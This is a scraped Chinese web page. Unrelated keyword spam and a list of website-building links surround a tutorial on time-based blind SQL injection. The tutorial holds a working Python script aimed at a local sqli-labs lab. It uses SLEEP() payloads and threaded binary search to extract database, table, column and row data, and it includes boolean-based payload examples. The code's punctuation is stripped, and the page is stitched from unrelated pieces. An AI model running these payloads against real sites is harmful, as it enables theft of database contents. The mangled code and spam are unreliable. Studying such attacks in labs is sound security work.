当前位置: 首页 > news >正文

集成微信的企业网站管理系统平顶山做网站的公司

集成微信的企业网站管理系统,平顶山做网站的公司,网站建设的基本步奏,附近电脑培训班零基础什么是时间盲注#xff1f; SQL 盲注#xff08;Blind SQL Injection#xff09;是一种常见的 Web 安全漏洞#xff0c;其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时#xff0c;我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。 …什么是时间盲注 SQL 盲注Blind SQL Injection是一种常见的 Web 安全漏洞其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。 代码解析 本代码通过 二分法 时间盲注 逐字符提取数据库中的信息。它通过 SLEEP() 让服务器延迟响应从而判断 SQL 条件是否成立。 import requests import concurrent.futures import timedef binary_search_character(url, query, index, low32, high127):while low high:mid (low high 1) // 2payload f1 AND IF(ASCII(SUBSTRING(({query}),{index},1)) {mid}, SLEEP(2), 0) -- res {id: payload}start_time time.time()r requests.get(url, paramsres)response_time time.time() - start_timeif response_time 1.5: # 服务器延迟意味着条件成立low midelse:high mid - 1return chr(low) if low 32 else def extract_data(url, query, max_length200):extracted_data [] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers10) as executor:future_to_index {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length 1)}for future in concurrent.futures.as_completed(future_to_index):index future_to_index[future]try:result future.result()if result:extracted_data[index - 1] resultprint(f: {.join(extracted_data).strip()})except Exception as exc:print(fError extracting character {index}: {exc})return .join(extracted_data).strip()if __name__ __main__:url http://127.0.0.1/sqlilabs/Less-8/index.phpdatabase_name extract_data(url, SELECT database())print(f数据库名: {database_name})table_name_query fSELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema{database_name}table_names extract_data(url, table_name_query)print(f表名: {table_names})table_name table_names.split(,)[0]column_name_query fSELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name{table_name} AND table_schema{database_name}column_names extract_data(url, column_name_query)print(f列名: {column_names})column_name column_names.split(,)[1]data_query fSELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}extracted_values extract_data(url, data_query)print(f数据: {extracted_values})时间盲注的原理 SLEEP(2): 如果条件为真服务器会延迟 2 秒响应。通过 time.time() 计算请求的响应时间判断是否触发了 SLEEP()。逐字符采用二分法减少请求次数提高提取效率。 效果展示 两种注入方式使用的sql语句基本相同主要是回显判断的方式不一样 时间盲注Time-Based Blind SQL Injection和布尔盲注Boolean-Based Blind SQL Injection是两种常见的 SQL 注入攻击方式它们的核心区别在于攻击响应的方式和判断条件成立的方式。 两种方式区别 1. 响应方式 时间盲注 (Time-Based Blind SQL Injection) 特征攻击者通过在 SQL 查询中注入 SLEEP() 函数使数据库在查询满足特定条件时延迟响应。如何判断通过测量响应时间来确定 SQL 条件是否成立。例如若查询条件成立数据库会延迟一段时间例如 2 秒否则响应立即返回。 示例 AND IF(ASCII(SUBSTRING(database(), 1, 1)) 65, SLEEP(2), 0) --如果 ASCII(SUBSTRING(database(), 1, 1)) 65即 A服务器会延迟 2 秒否则查询立刻返回。 布尔盲注 (Boolean-Based Blind SQL Injection) 特征攻击者通过注入布尔表达式服务器返回不同的页面响应或状态来判断条件是否成立。一般不涉及实际的数据返回。如何判断通过页面响应的不同来判断 SQL 查询的条件是否成立。例如查询条件成立时页面返回正常查询条件不成立时页面返回错误或不同的内容。 示例 AND ASCII(SUBSTRING(database(), 1, 1)) 65 --如果 ASCII(SUBSTRING(database(), 1, 1)) 65即 A查询结果为真页面正常显示。如果查询结果为假页面显示错误或不同的内容。 2. 判断条件 时间盲注 通过时间延迟判断攻击者无法从页面内容中直接看到数据或错误信息只能通过查询所引入的时间延迟来判断条件成立。优点即使页面响应没有变化如无错误提示攻击者依然能通过时间差推断出数据。 布尔盲注 通过页面内容判断攻击者通过页面的不同表现如响应内容变化、错误提示、页面状态来推断条件是否为真。缺点依赖页面的可见反馈。如果页面没有明显的变化可能需要更精细的判断。 3. 执行效率 时间盲注 效率较低每次查询后攻击者需要等待服务器的响应延迟通常这种延迟为 1-5 秒。这会使得一次查询的时间变长导致数据提取速度较慢。适用场景适用于目标服务器没有错误信息反馈或者防火墙和防护措施使得布尔盲注失效的情况。 布尔盲注 效率较高布尔盲注通常只需要判断一次响应结果即可不需要等待延迟因此效率较高。适用场景适用于目标系统没有显式的错误信息但能够根据页面响应的变化来区分不同的条件。 4. 防御难度 时间盲注 防御困难因为时间盲注依赖于延迟响应攻击者通常不会直接看到反馈数据所以传统的输入过滤和错误信息隐藏防御策略通常无法有效防止。防御方法使用 SQL 执行时间限制例如SET GLOBAL max_execution_time500或者通过 Web 应用防火墙WAF 监测异常响应时间。 布尔盲注 防御较容易布尔盲注依赖于页面内容的不同反馈通常可以通过 错误信息屏蔽 和 输入验证 来防止。防御方法使用 预编译语句Prepared Statements 来避免 SQL 注入过滤或限制用户输入。 5. 使用场景 时间盲注 当目标没有错误反馈并且不容易观察页面响应的差异时时间盲注是一个有效的攻击方式。例如某些网站或应用可能故意隐藏错误信息只返回固定的页面内容。适用于服务器响应时间差异明显的情况例如较大的数据库查询或复杂的子查询。 布尔盲注 当目标服务器根据输入条件返回不同的响应如页面内容变化、错误信息时布尔盲注更为高效。适用于返回不同页面内容的情况例如错误页面、成功页面、或者其他表现形式。 总结 时间盲注依赖延迟响应来判断 SQL 查询是否成立适用于没有错误反馈的目标防御较为困难但攻击速度较慢。布尔盲注通过判断页面响应的变化来进行攻击适用于能观察到页面差异的目标防御较为容易攻击效率较高。
http://www.dnsts.com.cn/news/240445.html

相关文章:

  • 门户网站建设的重要作用建设工程和工程建设
  • 网站建设与管理课程标准庆阳定制网站
  • 桂林网站推广wordpress 插件开启
  • 盐城建设局网站展示型的网站开发价格
  • 主题网站的设计方案做网站找那个公司
  • 张家港网站推广公众号登陆入口
  • 免费的企业网站wordpress设置阅读更多
  • 网站设计维护内容网站制作教程百度云
  • 网站营销外包如何做徐州网站建设解决方案
  • 做模型常说的d站是什么网站昆山市建设工程交易中心网站
  • 投放广告网站商务网站策划书
  • 网站集群怎么做互联网公司排名完整
  • 做彩票网站捉怎么处理用百度网盘做视频网站
  • 可以玩游戏的网站山东建设执业资格注册中心网站官网
  • 公司做网站怎么构思深圳营销型网站哪家好
  • 让网站排名下降网页制作注意事项
  • 网站制作公司嘉兴智能科技公司取名字大全
  • 通过模版做网站网站制作报价多少
  • 类似抖音网站开发费用WordPress移动端小工具
  • 网站建设方案策划书前言企业网站建设(信科网络)
  • 企业网站建设需要准备资料男生怎么找的小资源
  • 成都效果图制作公司排行榜关键词优化快排
  • 中国做外贸的网站有哪些删除标题wordpress
  • 做画册去什么网站找素材公众号编辑器下载
  • 北京建设网站网页搜索如何屏蔽广告
  • 傻瓜式网页制作网站服务外包企业有哪些
  • 古交网站建设平面设计学生作品集
  • 网站开发公司能否挣钱wordpress支付系统
  • 扬州网站建设电话重庆景点图片高清图片
  • 个体工商户可以申请网站建设吗贵港有网站建设的公司吗